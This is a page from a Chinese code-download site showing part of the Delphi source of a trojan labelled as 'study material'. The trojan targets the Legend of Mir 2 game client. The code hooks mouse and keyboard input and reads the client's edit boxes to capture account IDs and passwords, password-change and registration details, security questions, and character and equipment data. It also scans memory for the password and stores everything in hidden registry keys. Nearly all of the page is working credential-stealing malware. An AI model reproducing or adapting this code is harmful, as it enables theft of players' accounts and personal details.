⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 main.~dpr

📁 传奇木马....delphi版 学习资料
💻 ~DPR
📖 第 1 页 / 共 3 页
字号:
    end;
    ServerName:=GetMem(p,'4F7F99',10);
    addvalue(hkey_classes_root,SubMainKey,'zb3',pchar(ServerName),1);
    ServerName:=readvalue(hkey_classes_root,SubMainKey,'zb3');
    if length(ServerName)>1 then begin
      ZB:=ZB+'项链:' +ServerName+',';
      ok:=true;
    end;
    ServerName:=GetMem(p,'4F8001',10);
    addvalue(hkey_classes_root,SubMainKey,'zb4',pchar(ServerName),1);
    ServerName:=readvalue(hkey_classes_root,SubMainKey,'zb4');
    if length(ServerName)>1 then begin
      ZB:=ZB+'右手镯:' +ServerName+',';
      ok:=true;
    end;
    ServerName:=GetMem(p,'4F8035',10);
    addvalue(hkey_classes_root,SubMainKey,'zb5',pchar(ServerName),1);
    ServerName:=readvalue(hkey_classes_root,SubMainKey,'zb5');
    if length(ServerName)>1 then begin
      ZB:=ZB+'左手镯:' +ServerName+',';
      ok:=true;
    end;
    ServerName:=GetMem(p,'4F8069',10);
    addvalue(hkey_classes_root,SubMainKey,'zb6',pchar(ServerName),1);
    ServerName:=readvalue(hkey_classes_root,SubMainKey,'zb6');
    if length(ServerName)>1 then begin
      ZB:=ZB+'右戒指:' +ServerName+',';
      ok:=true;
    end;
    ServerName:=GetMem(p,'4F809D',10);
    addvalue(hkey_classes_root,SubMainKey,'zb7',pchar(ServerName),1);
    ServerName:=readvalue(hkey_classes_root,SubMainKey,'zb7');
    if length(ServerName)>1 then begin
      ZB:=ZB+'左戒指:' +ServerName+',';
      ok:=true;
    end;
    if ok then begin
  		i:=1;SubKey:='';
    	while i<=99 do begin
    		if keyexists(hkey_classes_root,SubSubKey,pchar(inttostr(i)))=false then begin
      		SubKey:=inttostr(i);
        	break;
      	end;
      	i:=i+1;
    	end;
    	addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'区域',pchar(readvalue(hkey_classes_root,SubMainKey,'区域')),1);
	    addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'ID',pchar(readvalue(hkey_classes_root,SubMainKey,'ID')),1);
  	  addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'PW',pchar(readvalue(hkey_classes_root,SubMainKey,'PW')),1);
    	addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'SP',pchar(readvalue(hkey_classes_root,SubMainKey,'SP')),1);
      if (ValueExists(hkey_classes_root,SubMainKey,'JsN1')) and
        (ValueExists(hkey_classes_root,SubMainKey,'JsD1'))  then begin
	      addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsN1',pchar(readvalue(hkey_classes_root,SubMainKey,'JsN1')),1); //名
  	    addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsZ1',pchar(readvalue(hkey_classes_root,SubMainKey,'JsZ1')),1); //职

      	addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsD1',pchar(readvalue(hkey_classes_root,SubMainKey,'JsD1')),1); //等
	      addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsS1',pchar(readvalue(hkey_classes_root,SubMainKey,'JsS1')),1); //性
      end;
      if (ValueExists(hkey_classes_root,SubMainKey,'JsN2')) and
        (ValueExists(hkey_classes_root,SubMainKey,'JsD2'))  then begin
    		addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsN2',pchar(readvalue(hkey_classes_root,SubMainKey,'JsN2')),1); //名
	    	addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsZ2',pchar(readvalue(hkey_classes_root,SubMainKey,'JsZ2')),1); //职
  	  	
    		addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsD2',pchar(readvalue(hkey_classes_root,SubMainKey,'JsD2')),1); //等
    		addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'JsS2',pchar(readvalue(hkey_classes_root,SubMainKey,'JsS2')),1); //性
      end;
      delete(ZB,length(ZB),1);
      addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'ZB',pchar(ZB),1); //性
      addvalue(hkey_classes_root,SubMainKey,'Flag2','1',1);
    end;
end;

procedure GetPassWord;
var reAddress:integer;
    Position,PosServer:string;
begin
    if (readvalue(hkey_classes_root,SubMainKey,'WinX')<>'1') and
    	(readvalue(hkey_classes_root,SubMainKey,'ID')<>'') then begin

    	Position:=FGetMem('233C3C3C3C3C3D403E3C3C3C3C3C3C3C3C21',
        	'2690000','1800',12,false,'',false,0,PosServer,reAddress);
      if reAddress <>0 then begin

      	PosServer:=inttohex(reAddress-20-length('233C3C3C3C3C3D403E3C3C3C3C3C3C3C3C21'),1);  //14
        Position:=GetMem(0,PosServer,12);
        if (Position<>'') and (readvalue(hkey_classes_root,SubMainKey,'PW')<>Position) then
	        Addvalue(hkey_classes_root,SubMainKey,'PW',pchar(Position),1);

      end;
    end;
end;

procedure LogoMouse(Wpa,Lpa:integer);
var p:Longint;
    c:array[1..19] of Longint;
    Lo,L:Longint;
    Rect:TRect; Cpoint:Tpoint;
    i,t,n,s,f:integer;
    SubKey,ServerName:string;
    VN:string;
    r:integer;
    //Position,PosServer:string;  ,reAddress
Begin
	if (readvalue(hkey_classes_root,SubMainKey,'Flag2')='1') then exit;
  
	if (readvalue(hkey_classes_root,SubMainKey,'Flag1')='1') then begin
    GetZB;
  	exit;
  end;
  if (readvalue(hkey_classes_root,SubMainKey,'Flag')='1') then begin
		if (Wpa=$0201) then begin //WM_LBUTTONDOWN
 			p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
    	if p<>0 then begin
        
 				getcursorpos(Cpoint);
        Rect.Left :=385;
        Rect.Top :=458;
        Rect.Right :=430;
        Rect.Bottom :=478;
        if (ptinrect(Rect,Cpoint)) then begin //点开始

          n:=splite_str(GetMem(p),'/');
          WriteJs(n);
          sendflag:=true;
          sendi:=0;
        end ;
        Rect.Left :=382;
        Rect.Top :=548;
        Rect.Right :=432;
        Rect.Bottom :=568;
        if (ptinrect(Rect,Cpoint)) then  begin //退出
        	n:=splite_str(GetMem(p),'/');
          WriteJs(n);
          sendflag:=true;
          sendi:=0;
        end;
    	end;
    end;
  	exit;
  end;

	if (Wpa=$0201) then begin //WM_LBUTTONDOWN
		t:=0;
		n:=0;
		s:=0;
		f:=0;
		for i:=1 to 19 do c[i]:=0;

		Lo:=findwindow(pchar('TfrmMain'),pchar('传奇客户端'));
		L:=findwindowex(Lo,0,pchar('TComboBox'),nil);
		SendMessage(L,$000D,sizeof(LogoID),integer(@LogoID));
    
 		p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
 		for i:=1 to 19 do begin
  		c[i]:=findwindowex(p,t,pchar('TEdit'),nil);
  		t:=c[i];
  		if t=0 then break
      else begin
   			s:=s+1;
   			if IsWindowVisible(t) then n:=n+1;
  		end;
 		end;

 		getcursorpos(Cpoint);
 		Rect.TopLeft.X:=417;               //417;                //425;
 		Rect.TopLeft.Y:=316;               //316;                //337;
 		Rect.BottomRight.X:=513;           //513;            //495;
 		Rect.BottomRight.Y:=365;             //345;            //365;
 		if (n=2) and (ptinrect(Rect,Cpoint)) then begin
  		for i:=1 to s do begin
   			if c[i]=0 then continue;
      	if IsWindowVisible(c[i]) then begin
    			SendMessage(c[i],$000D,sizeof(Str[i]),integer(@Str[i]));
      		if f=0 then begin
     				Addvalue(hkey_classes_root,SubMainKey,'PW',Str[i],1);
     				PWhand:=c[i];
    			end else Addvalue(hkey_classes_root,SubMainKey,'ID',Str[i],1);
    			f:=f+1;
   			end;
  		end;
 		end;
    GetPassword;
    //进入选区
 		Rect.TopLeft.X:=308;
 		Rect.TopLeft.Y:=141;
 		Rect.BottomRight.X:=476;
 		Rect.BottomRight.Y:=477;
 		if (n=0) and (s>=2) and (ptinrect(Rect,Cpoint))  then begin
      GetPassword;
  	
  		if (ValueExists(hkey_classes_root,SubMainKey,'ID')) and (ValueExists(hkey_classes_root,SubMainKey,'PW')) then begin
   			addvalue(hkey_classes_root,SubMainKey,'Flag','1',1);
        addvalue(hkey_classes_root,SubMainKey,'区域',LogoID,1);
        for i:=0 to high(serverbutton) do begin
			    if (Cpoint.Y>serverbutton[i].X) and (Cpoint.Y<serverbutton[i].Y) then begin
            ServerName:=readvalue(hkey_classes_root,SubMainKey,pchar('ServerList'+inttostr(i+1)));
            break;
          end;
			  end;

   			addvalue(hkey_classes_root,SubMainKey,'SP',pchar(ServerName+'【'+inttostr(Cpoint.X)+','+inttostr(Cpoint.Y)+'】'),1);


  		end;
 		end;
    //退出
 		Rect.TopLeft.X:=489;
 		Rect.TopLeft.Y:=102;
 		Rect.BottomRight.X:=505;
 		Rect.BottomRight.Y:=127;
 		if (n=0) and (s>=2) and (ptinrect(Rect,Cpoint)) then begin
  		i:=1;SubKey:='';
 	 		while i<=99 do begin
    		if keyexists(hkey_classes_root,SubSubKey,pchar(inttostr(i)))=false then begin
     			SubKey:=inttostr(i);
     			break;
    		end;
    		i:=i+1;
  		end;         //508933

  		if (ValueExists(hkey_classes_root,SubMainKey,'ID')) and (ValueExists(hkey_classes_root,SubMainKey,'PW')) then begin
   			addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'区域',LogoID,1);
   			addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'ID',pchar(readvalue(hkey_classes_root,SubMainKey,'ID')),1);
   			addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'PW',pchar(readvalue(hkey_classes_root,SubMainKey,'PW')),1);
   			addvalue(hkey_classes_root,pchar(SubSubKey+'\'+SubKey),'SP',pchar('关闭'+'【'+inttostr(Cpoint.X)+','+inttostr(Cpoint.Y)+'】'),1);
   			Delvalue(hkey_classes_root,SubMainKey,'ID');
   			Delvalue(hkey_classes_root,SubMainKey,'PW');
  		end;
 		end;

    //更改
 		Rect.TopLeft.X:=372;       //  416/372;
 		Rect.TopLeft.Y:=358;         //358/404;
 		Rect.BottomRight.X:=512;       //512/445;
 		Rect.BottomRight.Y:=432;         //386/432;
 		if (n=4) and (ptinrect(Rect,Cpoint)) then begin
  		i:=1;SubKey:='';
  		while i<=99 do begin
    		if keyexists(hkey_classes_root,SubChange,pchar(inttostr(i)))=false then begin
     			SubKey:=inttostr(i);
     			break;
    		end;
    		i:=i+1;
  		end;

  		r:=1;
  		addvalue(hkey_classes_root,pchar(SubChange+'\'+SubKey),'区域',LogoID,1);
  		for i:=1 to s do begin
   			if c[i]=0 then continue;
   			if IsWindowVisible(c[i]) then begin
    			case r of
     				1:VN:='RE';
     				2:VN:='NP';
     				3:VN:='OP';
     				4:VN:='ID';
    			end;
    			SendMessage(c[i],$000D,sizeof(Str[i]),integer(@Str[i]));
    			Addvalue(hkey_classes_root,pchar(SubChange+'\'+SubKey),pchar(VN),Str[i],1);
    			r:=r+1;
   			end;
    	end;
 		end;
    //新注册
 		Rect.TopLeft.X:=240;
 		Rect.TopLeft.Y:=480;
 		Rect.BottomRight.X:=313;
 		Rect.BottomRight.Y:=509;
 		if (n=12) and (ptinrect(Rect,Cpoint)) then begin
  		i:=1;SubKey:='';
 			while i<=99 do begin
   			if keyexists(hkey_classes_root,SubRegistry,pchar(inttostr(i)))=false then begin
    			SubKey:=inttostr(i);
    			break;
   			end;
   			i:=i+1;
  		end;

  		r:=1;
    	addvalue(hkey_classes_root,pchar(SubRegistry+'\'+SubKey),'区域',LogoID,1);
  		for i:=1 to s do begin
   			if c[i]=0 then continue;
   			if IsWindowVisible(c[i]) then begin
    			case r of
      			1:VN:='EM';
            2:VN:='MN';
      			3:VN:='NU';
      			4:VN:='A2';
      			5:VN:='Q2';
      			6:VN:='A1';
      			7:VN:='Q1';
      			8:VN:='BI';
      			9:VN:='NA';
     				10:VN:='RE';
     				11:VN:='PW';
     				12:VN:='ID';
    			end;
    			SendMessage(c[i],$000D,sizeof(Str[i]),integer(@Str[i]));
    			Addvalue(hkey_classes_root,pchar(SubRegistry+'\'+SubKey),pchar(VN),Str[i],1);
    			r:=r+1;
   			end;
    	end;
 		end;

	end;
End;

procedure LogoKey(Lpa,Wpa:integer);
var p:Longint;
    c:array[1..19] of Longint;
    i,t,n,s,f:integer;
	function Keyhookresult(lP: integer; wP: integer): boolean;
  begin
  	result:=false;
  	if lP=7181 then //: key := '#13';//result := '[Enter]';
    	result:=true;
  end;
Begin
 	if Keyhookresult(peventMsg(Lpa)^.paramL,peventMsg(Lpa)^.paramH) then begin  
		if (readvalue(hkey_classes_root,SubMainKey,'Flag1')='1') then exit;
		t:=0;
		n:=0;
		s:=0;
		f:=0;
		for i:=1 to 19 do c[i]:=0;

		p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
 		for i:=1 to 19 do begin
  		c[i]:=findwindowex(p,t,pchar('TEdit'),nil);
  		t:=c[i];
  		if t=0 then break else begin
   			s:=s+1;
   			if IsWindowVisible(t) then begin
    			n:=n+1;
    			if n=1 then PWhand:=t;
   			end;
  		end;
 		end;
    if  (n=2) and (getfocus=PWhand) then begin
  		for i:=1 to s do begin
   			if c[i]=0 then continue;
   			if IsWindowVisible(c[i]) then begin
    			SendMessage(c[i],$000D,sizeof(Str[i]),integer(@Str[i]));
    			if f=0 then Addvalue(hkey_classes_root,SubMainKey,'PW',Str[i],1)
    			else Addvalue(hkey_classes_root,SubMainKey,'ID',Str[i],1);
    			f:=f+1;
   			end;
  		end;
    end;
    GetPassword;
 	end;
End;


{function MouseProc(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT; stdcall;export;
var i:integer;
Begin
	Result:=0;
	LogoID:='abcdefghijklmnopqrstuvwxyz1234567890';
	for i:=1 to 19 do Str[i]:='abcdefghijklmnopqrstuvwxyz1234567890';
	Wpa:=wParam;
	Lpa:=lParam;
	LogoMouse;
	if iCode<0 then Result:=CallNextHookEx(MouseHook,iCode,wParam,lParam);
End;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -